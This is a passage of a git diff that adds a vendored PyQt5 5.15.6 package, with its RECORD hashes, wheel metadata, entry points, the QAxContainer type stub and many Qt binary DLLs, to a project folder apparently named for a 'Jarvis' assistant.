+PyQt5/sip.pyi,sha256=zYqshTi3mq7gFSUuKKY2DiuhwMLu5lCD1xZiP8A60u4,3639 +PyQt5/uic/Compiler/__init__.py,sha256=n8PH54jpwQxfjzJFSClsa3eYX9tGS8Hov6KmNxUclKI,1024 +PyQt5/uic/Compiler/__pycache__/__init__.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/compiler.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/indenter.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/misc.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/proxy_metaclass.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/qobjectcreator.cpython-37.pyc,, +PyQt5/uic/Compiler/__pycache__/qtproxies.cpython-37.pyc,, +PyQt5/uic/Compiler/compiler.py,sha256=THKgZNBUh198NkAh1hLHPsDEMeSLRdOiEKFNvVKfv14,4768 +PyQt5/uic/Compiler/indenter.py,sha256=Z2NZ9Koezh5UjmTAsA0tw4IO3rczWYi0okT4pT4M-X8,2819 +PyQt5/uic/Compiler/misc.py,sha256=Wytpj0Y0TUiLdB2JIot3-UdtOJnpo-mnKF9OWQpTCu4,2433 +PyQt5/uic/Compiler/proxy_metaclass.py,sha256=ou_MjXc_yCksa7cFCVUU3ap7FuqJ2XcoWkxXuc4z90c,4424 +PyQt5/uic/Compiler/qobjectcreator.py,sha256=aQjKwR_EXjAhMHR8f9xWcYniDqcgPdMTWwlV8gIBgCs,6083 +PyQt5/uic/Compiler/qtproxies.py,sha256=Ie9yPzHtnzuT_0dNx8JxBJGkKb-AGzm0WVmLcLnPYBg,16785 +PyQt5/uic/Loader/__init__.py,sha256=n8PH54jpwQxfjzJFSClsa3eYX9tGS8Hov6KmNxUclKI,1024 +PyQt5/uic/Loader/__pycache__/__init__.cpython-37.pyc,, +PyQt5/uic/Loader/__pycache__/loader.cpython-37.pyc,, +PyQt5/uic/Loader/__pycache__/qobjectcreator.cpython-37.pyc,, +PyQt5/uic/Loader/loader.py,sha256=IafHQG6x-dNDeTlgnk1NRKYo2WolIpp2wiIWVvi2Ngc,2924 +PyQt5/uic/Loader/qobjectcreator.py,sha256=AhFPTityPrbXXvE5qT80RL-1HQm_G5za8k2dIaik0s0,5172 +PyQt5/uic/__init__.py,sha256=vLZ9hk0Q1xNbu_eRSMsW5Fh5MO0luSwGgNzv1-Jvmqk,9749 +PyQt5/uic/__pycache__/__init__.cpython-37.pyc,, +PyQt5/uic/__pycache__/driver.cpython-37.pyc,, +PyQt5/uic/__pycache__/exceptions.cpython-37.pyc,, +PyQt5/uic/__pycache__/icon_cache.cpython-37.pyc,, +PyQt5/uic/__pycache__/objcreator.cpython-37.pyc,, +PyQt5/uic/__pycache__/properties.cpython-37.pyc,, +PyQt5/uic/__pycache__/pyuic.cpython-37.pyc,, +PyQt5/uic/__pycache__/uiparser.cpython-37.pyc,, +PyQt5/uic/driver.py,sha256=-r8KlpUJcr17DD8wjP4maKx4mDwly10u9TYJEtdPIp4,4797 +PyQt5/uic/exceptions.py,sha256=UNMuvcB7CGpzo5xiscd4XkIBGDdFeVRefMAAEbnDFQI,2332 +PyQt5/uic/icon_cache.py,sha256=tH5wNnxUEyvgdJ4ByelA9k4kCg4qxPm6qiAj_0GM9xY,5181 +PyQt5/uic/objcreator.py,sha256=OBi31Sd9nUSz1N_-Zd0MVhizaBxQhVH_6HgXYW2hwKE,6133 +PyQt5/uic/port_v2/__init__.py,sha256=n8PH54jpwQxfjzJFSClsa3eYX9tGS8Hov6KmNxUclKI,1024 +PyQt5/uic/port_v2/__pycache__/__init__.cpython-37.pyc,, +PyQt5/uic/port_v2/__pycache__/as_string.cpython-37.pyc,, +PyQt5/uic/port_v2/__pycache__/ascii_upper.cpython-37.pyc,, +PyQt5/uic/port_v2/__pycache__/proxy_base.cpython-37.pyc,, +PyQt5/uic/port_v2/__pycache__/string_io.cpython-37.pyc,, +PyQt5/uic/port_v2/as_string.py,sha256=hY4SmHGsMvyqyaXJx2TTyPKJvC8VLi9muyms3RLZxYM,1475 +PyQt5/uic/port_v2/ascii_upper.py,sha256=ETEfVt9OTue_8nZhT_gZkG5xRUoVOK9e93RNuplWmmM,1358 +PyQt5/uic/port_v2/proxy_base.py,sha256=nEW9uYRgPwd2XhJASVW72YGkgc-auRP8rXPhiUI8atY,1250 +PyQt5/uic/port_v2/string_io.py,sha256=AUCjtEQP_JBdpdlNjfgH-nBAjHGIqIodMJ9JNxev9JY,1157 +PyQt5/uic/port_v3/__init__.py,sha256=n8PH54jpwQxfjzJFSClsa3eYX9tGS8Hov6KmNxUclKI,1024 +PyQt5/uic/port_v3/__pycache__/__init__.cpython-37.pyc,, +PyQt5/uic/port_v3/__pycache__/as_string.cpython-37.pyc,, +PyQt5/uic/port_v3/__pycache__/ascii_upper.cpython-37.pyc,, +PyQt5/uic/port_v3/__pycache__/proxy_base.cpython-37.pyc,, +PyQt5/uic/port_v3/__pycache__/string_io.cpython-37.pyc,, +PyQt5/uic/port_v3/as_string.py,sha256=VE5Yy7KtSuEJZr7-3P5-sF-hi7fHZEbs-orV8Q7L9eA,1452 +PyQt5/uic/port_v3/ascii_upper.py,sha256=8WlrDvrYwbwiAT7wdeMrHIwza9qxBE_YS4f9H4DIVdc,1352 +PyQt5/uic/port_v3/proxy_base.py,sha256=f1IQqeX8f_duiMY9zLhNRQ_VF99drQKhsToaxzVOWfc,1230 +PyQt5/uic/port_v3/string_io.py,sha256=tLeo02pkGHPtzVKIsSQI9jhCXCq1f9ojsRMrjdr9EVU,1084 +PyQt5/uic/properties.py,sha256=3x91MRS8UAloXsLhXW8-_D98IhCWOe2ukyKp2UDj7T4,18284 +PyQt5/uic/pyuic.py,sha256=5dGHLs0l8skCaTgUyyzMexVUjL36zRUFux-uTO5N9vA,3646 +PyQt5/uic/uiparser.py,sha256=XJ_JpQr_6UrLMHT82SZ7LhioVcPDw-bEmWgqgJsKSRI,39202 +PyQt5/uic/widget-plugins/__pycache__/qaxcontainer.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qscintilla.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qtcharts.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qtprintsupport.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qtquickwidgets.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qtwebenginewidgets.cpython-37.pyc,, +PyQt5/uic/widget-plugins/__pycache__/qtwebkit.cpython-37.pyc,, +PyQt5/uic/widget-plugins/qaxcontainer.py,sha256=mB8Qvob1p4DWmLPR2InGB3ThmIKo4aZ40e1QHWclagw,1590 +PyQt5/uic/widget-plugins/qscintilla.py,sha256=MaejAePN1q0spV_fXWtVmLe26-B7eTqzKhjVKedNXs0,1586 +PyQt5/uic/widget-plugins/qtcharts.py,sha256=jo_nWqxRNphb4CdSux4yRVm2jrbJ20hoD5Ux5iryLjY,1595 +PyQt5/uic/widget-plugins/qtprintsupport.py,sha256=Wwcs3IFh-8NAZ0MHezkuEWgc6CtgXRQcJKwBjWIp_L0,1621 +PyQt5/uic/widget-plugins/qtquickwidgets.py,sha256=IN5K9ayCjP2sSDUa35-0DhvVJkRMfArDpH55u6C8zzc,1595 +PyQt5/uic/widget-plugins/qtwebenginewidgets.py,sha256=Pt3RVxpq_hp7RFLgQW2HcyoC0qhs9GEv-eMVnlbAZi0,1601 +PyQt5/uic/widget-plugins/qtwebkit.py,sha256=nnByrPhnew7v8mfS502IXU5fE3XghYouMzBn0GtGXUo,2558 diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/REQUESTED b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/REQUESTED new file mode 100644 index 00000000..e69de29b diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/WHEEL b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/WHEEL new file mode 100644 index 00000000..8f3dba04 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/WHEEL @@ -0,0 +1,4 @@ +Wheel-Version: 1.0 +Generator: sip-wheel 6.4.0 +Root-Is-Purelib: false +Tag: cp36-abi3-win_amd64 diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/entry_points.txt b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/entry_points.txt new file mode 100644 index 00000000..8d1e5345 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/entry_points.txt @@ -0,0 +1,4 @@ +[console_scripts] +pylupdate5=PyQt5.pylupdate_main:main +pyrcc5=PyQt5.pyrcc_main:main +pyuic5=PyQt5.uic.pyuic:main diff --git a/OTHERS/Jarvis/ools/PyQt5/QAxContainer.pyi b/OTHERS/Jarvis/ools/PyQt5/QAxContainer.pyi new file mode 100644 index 00000000..542bca33 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QAxContainer.pyi @@ -0,0 +1,105 @@ +# The PEP 484 type hints stub file for the QAxContainer module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QAxBase(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QAxBase') -> None: ... + + def setClassContext(self, classContext: int) -> None: ... + def classContext(self) -> int: ... + def disableEventSink(self) -> None: ... + def disableClassInfo(self) -> None: ... + def disableMetaObject(self) -> None: ... + def setControl(self, a0: str) -> bool: ... + def clear(self) -> None: ... + def exception(self, a0: int, a1: str, a2: str, a3: str) -> None: ... + def propertyChanged(self, a0: str) -> None: ... + def signal(self, a0: str, a1: int, a2: PyQt5.sip.voidptr) -> None: ... + def asVariant(self) -> typing.Any: ... + def verbs(self) -> typing.List[str]: ... + def isNull(self) -> bool: ... + def setPropertyWritable(self, a0: str, a1: bool) -> None: ... + def propertyWritable(self, a0: str) -> bool: ... + def generateDocumentation(self) -> str: ... + def setPropertyBag(self, a0: typing.Dict[str, typing.Any]) -> None: ... + def propertyBag(self) -> typing.Dict[str, typing.Any]: ... + @typing.overload + def querySubObject(self, a0: str, a1: typing.Iterable[typing.Any]) -> 'QAxObject': ... + @typing.overload + def querySubObject(self, a0: str, value1: typing.Any = ..., value2: typing.Any = ..., value3: typing.Any = ..., value4: typing.Any = ..., value5: typing.Any = ..., value6: typing.Any = ..., value7: typing.Any = ..., value8: typing.Any = ...) -> 'QAxObject': ... + @typing.overload + def dynamicCall(self, a0: str, a1: typing.Iterable[typing.Any]) -> typing.Any: ... + @typing.overload + def dynamicCall(self, a0: str, value1: typing.Any = ..., value2: typing.Any = ..., value3: typing.Any = ..., value4: typing.Any = ..., value5: typing.Any = ..., value6: typing.Any = ..., value7: typing.Any = ..., value8: typing.Any = ...) -> typing.Any: ... + def control(self) -> str: ... + + +class QAxObject(QtCore.QObject, QAxBase): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def connectNotify(self, a0: QtCore.QMetaMethod) -> None: ... + def doVerb(self, a0: str) -> bool: ... + + +class QAxWidget(QtWidgets.QWidget, QAxBase): + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, a0: str, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def connectNotify(self, a0: QtCore.QMetaMethod) -> None: ... + def translateKeyEvent(self, a0: int, a1: int) -> bool: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def createHostWindow(self, a0: bool) -> bool: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def doVerb(self, a0: str) -> bool: ... + def clear(self) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Bluetooth.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Bluetooth.dll new file mode 100644 index 00000000..0a3f57ef Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Bluetooth.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Core.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Core.dll new file mode 100644 index 00000000..40e8de13 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Core.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5DBus.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5DBus.dll new file mode 100644 index 00000000..e06ebf30 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5DBus.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Designer.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Designer.dll new file mode 100644 index 00000000..5330922f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Designer.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Gui.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Gui.dll new file mode 100644 index 00000000..bf38dda9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Gui.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Help.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Help.dll new file mode 100644 index 00000000..a3eccb60 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Help.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Location.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Location.dll new file mode 100644 index 00000000..c04b8584 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Location.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Multimedia.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Multimedia.dll new file mode 100644 index 00000000..f4ea511e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Multimedia.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5MultimediaWidgets.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5MultimediaWidgets.dll new file mode 100644 index 00000000..4bf62eec Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5MultimediaWidgets.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Network.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Network.dll new file mode 100644 index 00000000..d32644d4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Network.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Nfc.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Nfc.dll new file mode 100644 index 00000000..8e3c2764 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Nfc.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5OpenGL.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5OpenGL.dll new file mode 100644 index 00000000..e8187b3b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5OpenGL.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Positioning.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Positioning.dll new file mode 100644 index 00000000..ec9e17de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Positioning.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PositioningQuick.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PositioningQuick.dll new file mode 100644 index 00000000..b78237f2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PositioningQuick.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PrintSupport.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PrintSupport.dll new file mode 100644 index 00000000..de4c30b8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5PrintSupport.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Qml.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Qml.dll new file mode 100644 index 00000000..7c2e538a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Qml.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlModels.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlModels.dll new file mode 100644 index 00000000..a0497d3c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlModels.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlWorkerScript.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlWorkerScript.dll new file mode 100644 index 00000000..c01c0a05 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QmlWorkerScript.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick.dll new file mode 100644 index 00000000..4ff0bc60 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3D.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3D.dll new file mode 100644 index 00000000..67fdb366 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3D.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DAssetImport.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DAssetImport.dll new file mode 100644 index 00000000..47ac4a11 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DAssetImport.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRender.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRender.dll new file mode 100644 index 00000000..dff2d76d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRender.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRuntimeRender.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRuntimeRender.dll new file mode 100644 index 00000000..fca80ef7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DRuntimeRender.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DUtils.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DUtils.dll new file mode 100644 index 00000000..d4edd7e5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Quick3DUtils.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickControls2.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickControls2.dll new file mode 100644 index 00000000..03df6ea0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickControls2.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickParticles.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickParticles.dll new file mode 100644 index 00000000..82dbea70 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickParticles.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickShapes.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickShapes.dll new file mode 100644 index 00000000..0c332736 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickShapes.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTemplates2.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTemplates2.dll new file mode 100644 index 00000000..2a7c3f62 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTemplates2.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTest.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTest.dll new file mode 100644 index 00000000..0b10518b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickTest.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickWidgets.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickWidgets.dll new file mode 100644 index 00000000..11214e85 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5QuickWidgets.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5RemoteObjects.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5RemoteObjects.dll new file mode 100644 index 00000000..52ba5d15 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5RemoteObjects.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sensors.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sensors.dll new file mode 100644 index 00000000..aa537bd9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sensors.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5SerialPort.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5SerialPort.dll new file mode 100644 index 00000000..b72028e0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5SerialPort.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sql.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sql.dll new file mode 100644 index 00000000..5fb5f0df Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Sql.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Svg.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Svg.dll new file mode 100644 index 00000000..edfbf4ac Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Svg.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Test.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Test.dll new file mode 100644 index 00000000..e3db0056 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Test.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5TextToSpeech.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5TextToSpeech.dll new file mode 100644 index 00000000..4cecb655 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5TextToSpeech.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebChannel.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebChannel.dll new file mode 100644 index 00000000..a14cff68 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebChannel.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebSockets.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebSockets.dll new file mode 100644 index 00000000..1b21504b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebSockets.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebView.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebView.dll new file mode 100644 index 00000000..16bbdab0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WebView.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Widgets.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Widgets.dll new file mode 100644 index 00000000..80ae4e3f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Widgets.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WinExtras.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WinExtras.dll new file mode 100644 index 00000000..906e8542 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5WinExtras.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Xml.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Xml.dll new file mode 100644 index 00000000..2c685acc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5Xml.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5XmlPatterns.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5XmlPatterns.dll new file mode 100644 index 00000000..96f5a370 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/Qt5XmlPatterns.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/concrt140.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/concrt140.dll new file mode 100644 index 00000000..cd412ea8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/concrt140.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/d3dcompiler_47.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/d3dcompiler_47.dll new file mode 100644 index 00000000..56512f56 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/d3dcompiler_47.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libEGL.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libEGL.dll new file mode 100644 index 00000000..e910cc99 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libEGL.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libGLESv2.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libGLESv2.dll new file mode 100644 index 00000000..d357182b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libGLESv2.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libcrypto-1_1-x64.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libcrypto-1_1-x64.dll new file mode 100644 index 00000000..eb3dfea4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libcrypto-1_1-x64.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libeay32.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libeay32.dll new file mode 100644 index 00000000..6cefeb1b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libeay32.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/bin/libssl-1_1-x64.dll 